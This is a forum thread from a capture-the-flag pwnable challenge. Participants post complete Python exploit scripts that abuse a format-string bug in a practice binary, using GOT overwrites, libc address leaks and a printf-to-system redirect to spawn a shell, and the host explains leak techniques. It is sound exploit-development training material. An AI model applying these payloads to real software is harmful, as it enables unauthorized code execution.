_py
July 23, 2017, 8:32am
1
Suh peeps! Another pwnable challenge!
###Difficulty
Easy, but could be debatable.
###Objective
Get a shell.
###Rules
ASLR should be turned on!
Since no libc is provided, all you have to do is pwn the binary locally.
Full PoC is accepted as a solution. Just a screenshot of the shell doesn’t mean anything.
###Binary
Since my demo isn’t always enough, big thanks to @exploit for making sure the binary is indeed exploitable.
pwn me
~ gl & hf
11 Likes
thanks for the challenge here’s my poc
from pwn import *
context(arch='i386', os='linux')
# use libc-database to find offset
# ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu7_i386)
offset__IO_2_1_stdin_ = 0x001b25a0
offset_system = 0x0003ada0
diff = offset__IO_2_1_stdin_ - offset_system
# open the process
r = process("./leakme")
r.recvuntil('Do you even leak bruh?\n')
# create loop by replacing exit@got lower bytes with 0x8530
r.sendline("\x0c\x98\x04\x08%34092x%4$hn")
r.clean()
# leak _IO_2_1_stdin_ address
r.sendline("%2$p")
r.recvline()
_IO_2_1_stdin_ = int(r.recvline().strip(), 16)
# calculate system address
system = _IO_2_1_stdin_ - diff
# replace printf@got to system address
# break up into two writes (low & high bytes)
hsys = (system & 0xffff0000) >> 16
lsys = system & 0xffff
haddr = "\xfe\x97\x04\x08"
laddr = "\xfc\x97\x04\x08"
if lsys > hsys: hsys, lsys, haddr, laddr = lsys, hsys, laddr, haddr
fmt = "{}{}%{}x%14$hn%{}x%15$hn".format(laddr, haddr, lsys - 8, hsys - lsys)
# get shell
r.sendline(fmt)
r.clean()
r.sendline("sh")
r.sendline("clear")
r.interactive()
yeah i know, it’s bad. i’m still trying to learn how to use pwntools the “right way”
3 Likes
_py
July 23, 2017, 6:24pm
3
@mkhdznfq Congrats!
Looks like you do leak bruh
4 Likes
neolex
July 24, 2017, 6:20pm
4
Thank you for the challenge @_py !
I need to practice a lot with pwn challenge i’m pretty noob at it , but I made it
[spoiler][code]#!/usr/bin/env python2
from pwn import *
EXIT_GOT = 0x0804980c
PRINTF_GOT = 0x080497fc
ENTRY_POINT = 0x8400
SYSTEM_OFFSET = 0x0003c060
_IO_2_1_stdin_offset = 0x001bd580
def overwrite(addr,number):
payload = “”
payload += p32(addr)
payload += “%{}u|%4$hn”.format(number-5)
p.sendline(payload)
p.clean()
def double_overwrite(addr,number):
towritel = (number & 0xFFFF)
towriteh = ((number & 0xFFFF0000)>>16)
payload = ""
payload += p32(addr)
payload += p32(addr+2)
payload += "%{}x|%4$hn".format(towritel-9)
payload += "%{}x|%5$hn".format(towriteh-towritel-1)
p.sendline(payload)
p.clean()
p = process("./leakme")
pause()
overwrite exit by entry point : loop
overwrite(EXIT_GOT,ENTRY_POINT)
leak
p.sendline("%2$p")
p.recvline()
p.recvline()
leaked=int(p.recvline().strip(), 16)
print “Leaked address : ‘{}’”.format(hex(leaked))
p.recvline()
get libc base
libc_base = leaked-_IO_2_1_stdin_offset
print(“Libc base : {}”.format(hex(libc_base)))
system =libc_base + SYSTEM_OFFSET
print(“system : {}”.format(hex(system)))
double_overwrite(PRINTF_GOT,system)
p.sendline(“clear”)
p.interactive()
[/code]
https://asciinema.org/a/JE08jLdGx9tY3FQtSLZZCrUmH
[/spoiler]
2 Likes
_py
July 24, 2017, 6:27pm
5
Nicely done @neolex ! A small note to both @neolex and @mkhdznfq :
I noticed you found a libc address at the 2nd stack offset and used that in order to calculate the libc’s base address. You got lucky. As in, sometimes you may not find a libc address not even at the 200th offset, let alone be able to recognize which address you leaked. A more hybrid and safe way to leak is to use the %s format specifier on a GOT entry you placed yourself in your payload. That way, you’ll always know which address you leaked and its offset inside libc (i.e fgets).
2 Likes
neolex
July 24, 2017, 6:55pm
6
Thank you for the note @_py , I tried your way to leak and successed, here is my POC :
[spoiler][code]#!/usr/bin/env python2
from pwn import *
EXIT_GOT = 0x0804980c
PUTS_GOT = 0x08049808
PRINTF_GOT = 0x080497fc
ENTRY_POINT = 0x8400
PUTS_OFFSET = 0x00062710
SYSTEM_OFFSET = 0x0003c060
_IO_2_1_stdin_offset = 0x001bd580
def overwrite(addr,number):
payload = “”
payload += p32(addr)
payload += “%{}u|%4$hn”.format(number-5)
p.sendline(payload)
p.clean()
def double_overwrite(addr,number):
towritel = (number & 0xFFFF)
towriteh = ((number & 0xFFFF0000)>>16)
payload = ""
payload += p32(addr)
payload += p32(addr+2)
payload += "%{}x|%4$hn".format(towritel-9)
payload += "%{}x|%5$hn".format(towriteh-towritel-1)
p.sendline(payload)
p.clean()
p = process("./leakme")
overwrite exit by entry point : loop
overwrite(EXIT_GOT,ENTRY_POINT)
p.sendline(“JUNK”)
p.recv()
leak with %s
payload = p32(PUTS_GOT)
payload += “|%4$s|NEO”
p.sendline(payload)
leaked=u32(p.recvuntil("|NEO").split("|")[1])
print “Leaked puts address : ‘{}’”.format(hex(leaked))
p.recvline()
get libc base
libc_base = leaked-PUTS_OFFSET
print(“Libc base : {}”.format(hex(libc_base)))
system =libc_base + SYSTEM_OFFSET
print(“system : {}”.format(hex(system)))
double_overwrite(PRINTF_GOT,system)
p.sendline(“clear”)
p.interactive()
[/code][/spoiler]
2 Likes
_py
July 24, 2017, 7:04pm
7
@neolex you’re on fire I hope you now understood how much more convenient that technique is.
3 Likes
neolex
July 24, 2017, 7:09pm
8
Yes @_py thanks, just to be sure : it does’nt work with exit’s or printf’s got address because exit is not called before i try to leak it ? So the address is not resolved ?
1 Like
_py
July 24, 2017, 7:13pm
9
Exactly. If you try to leak exit’s address you’ll notice its PLT stub code address. As for printf, it’s wise not to leak its address since it’s placed in weird areas in libc and sometimes you’ll end up with a misaligned libc base, resulting to miscalculations of system’s address.
2 Likes
wow thanks @_py for the note. never knew i could that
1 Like
@_py are there any tutorials to learn it? I’m really interested in such problems. And also crack me problems…
Does it come under exploit development?
_py
July 26, 2017, 11:49am
12
This has nothing to do with crackmes. This field is called exploit development. Though you need reverse engineering knowledge, exploit dev steps it up way more because you have to find bugs by reading assembly.
That being said, exploit dev is a mindset, but you can learn the basic-beginner methology by following LiveOverflow’s videos on YouTube.
By the way, for this certain type of pwnable there’s a write up of mine explaining the internals of format string attacks.
Hello folks! I hope you’re all doing great. After a disgusting amount of trial and error, I present to you my solution for the console pwnable. Unfortunately, I did not solve the task on time but it was fun nevertheless. I decided to use this challenge as a way to introduce to you one of the ways you can bypass ASLR.
If you have never messed with basic pwning i.e stack/buffer overflows, this write-up might not be your cup of tea. It’ll be quite technical. Firstly I’ll bombard you with theory an…
2 Likes
segfault
(vladimir)
August 17, 2017, 4:28pm
13
did you delete the Binary ??
_py
August 17, 2017, 5:37pm
14
I’ve no idea why the link stopped working. Sorry for the inconvenience, the link is now updated.
1 Like
segfault
(vladimir)
August 18, 2017, 2:23pm
16
Good One I really liked this challenge and this the way i solved it !
from libformatstr import *
import socket
from pwn import *
import telnetlib
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(("127.0.0.1",1234))
def recvuntil(sock,delim) :
data = ""
while not data.endswith(delim):
data += sock.recv(1)
return data
def interactive(sock):
t = telnetlib.Telnet()
t.sock = sock
t.interact()
exitGot = 0x804980c
MAIN = 0x80484fb
lib_start_main = 0x08049810
sysoff =0x3ab30
libc_start = 0x18180
p = FormatStr(50)
p[exitGot] = MAIN
payload = p.payload(4,0)
c.recv(2034)
c.send(payload+"\n")
recvuntil(c,"bruh?")
c.send(p32(lib_start_main)+"%4$s" +"\n")
data = recvuntil(c,"bruh?").split("\n")
libc_base = u32(data[1][4:8]) - libc_start
system = libc_base + sysoff
print "libc base : "+ hex(libc_base)
print "system() : "+ hex(system)
p = FormatStr()
p[0x080497fc] = system
final = p.payload(4,0)
c.send(final+"\n")
print recvuntil(c,"bruh?")
c.send("sh\n")
interactive(c)
1 Like